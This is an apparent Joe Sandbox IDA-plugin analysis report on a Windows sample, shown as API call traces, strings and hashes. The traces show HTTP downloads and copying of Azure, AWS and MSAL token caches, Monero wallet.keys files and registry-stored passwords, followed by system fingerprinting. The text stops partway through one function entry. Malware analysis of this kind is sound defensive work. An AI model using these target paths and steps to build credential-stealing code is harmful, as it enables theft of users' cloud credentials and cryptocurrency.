Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 1ab42778529f25c969d2366559f1e599300b9cf5a3aa4f9b295c5192e6f79b30
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 1ab42778529f25c969d2366559f1e599300b9cf5a3aa4f9b295c5192e6f79b30
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0040483B
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404852
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404869
Part of subcall function 00404800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,0112F058), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,0112E710,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

GET, xrefs: 004063CC
ERROR, xrefs: 00406519
ERROR, xrefs: 00406457

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: b041c997079808dc090aae7803e215e96f2eb65b48f0834a3d58b5ddbc33630e
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: b041c997079808dc090aae7803e215e96f2eb65b48f0834a3d58b5ddbc33630e
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlen.KERNEL32(00404F55,?,?,00404F55,00420DC6), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420DC6,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlen.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlen.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: lstrlen.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415412
ERROR, xrefs: 0041525D
ERROR, xrefs: 00415116
ERROR, xrefs: 00415173
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415329

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 08121a1a3ebc54953bab04f5efc3bfeeeb0d6a24de1ddcff76b2499818be489e
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: 08121a1a3ebc54953bab04f5efc3bfeeeb0d6a24de1ddcff76b2499818be489e
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00414850 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0112F0E8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

Strings

\.aws\, xrefs: 0041492D
*.*, xrefs: 00414944
\.IdentityService\, xrefs: 004149B9
\.azure\, xrefs: 004148A1
msal.cache, xrefs: 004149D0
*.*, xrefs: 004148B8
Azure\.azure, xrefs: 004148B3
Azure\.aws, xrefs: 0041493F
Azure\.IdentityService, xrefs: 004149CB

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 017a74ed774c3109d97c8a864b5009769fc73f3aa0fc89215018989c537a0246
Instruction ID: 1ec95ca950168bf7fe5910f164c7a64612e8adf87ae2bbdbe148d4555b5b57e8
Opcode Fuzzy Hash: 017a74ed774c3109d97c8a864b5009769fc73f3aa0fc89215018989c537a0246
Instruction Fuzzy Hash: 9B41D9B9A8021877DB20F760EC47FDD773C5B64708F404459B549660C2EEF857C98BAA

Function 00401310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004012B4
Part of subcall function 004012A0: RtlAllocateHeap.NTDLL(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlen.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(00420E02,01129BF8,0042059E,?,?,004013F9,?,0000001A,00420E02,00000000,?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(0040148F), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D
.keys, xrefs: 0040136B
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2023266049-218353709
Opcode ID: b3237389e896c6173df8dcb832dc2a0afe2d6cd6d0dd26e0932ff1b5889b0805
Instruction ID: 867ca3e02f0e1b878d7ba7ac702651634f85c38a903e3c7df2da1cebd508abb7
Opcode Fuzzy Hash: b3237389e896c6173df8dcb832dc2a0afe2d6cd6d0dd26e0932ff1b5889b0805
Instruction Fuzzy Hash: 905182B1D5011867CB14EB61DC96FED733CAF50314F4041ADB60A62092EF786BD9CBAA

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000), ref: 00407499

lstrcat.KERNEL32(35795020,004217A0), ref: 00407646
lstrcat.KERNEL32(35795020,00000000), ref: 00407688
lstrcat.KERNEL32(35795020, : ), ref: 0040769A
lstrcat.KERNEL32(35795020,00000000), ref: 004076CF
lstrcat.KERNEL32(35795020,004217A8), ref: 004076E0
lstrcat.KERNEL32(35795020,00000000), ref: 00407713
lstrcat.KERNEL32(35795020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 2d94d6c29896b6bcf089cf12ca884a39d170e877ea87200b8b8ed3d06784f7cd
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 2d94d6c29896b6bcf089cf12ca884a39d170e877ea87200b8b8ed3d06784f7cd
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
RtlAllocateHeap.NTDLL(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Strings

C, xrefs: 00416FEC
:, xrefs: 00416FFC
\, xrefs: 00417000

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0112EB60,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
RtlAllocateHeap.NTDLL(00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

%d MB, xrefs: 00417C43
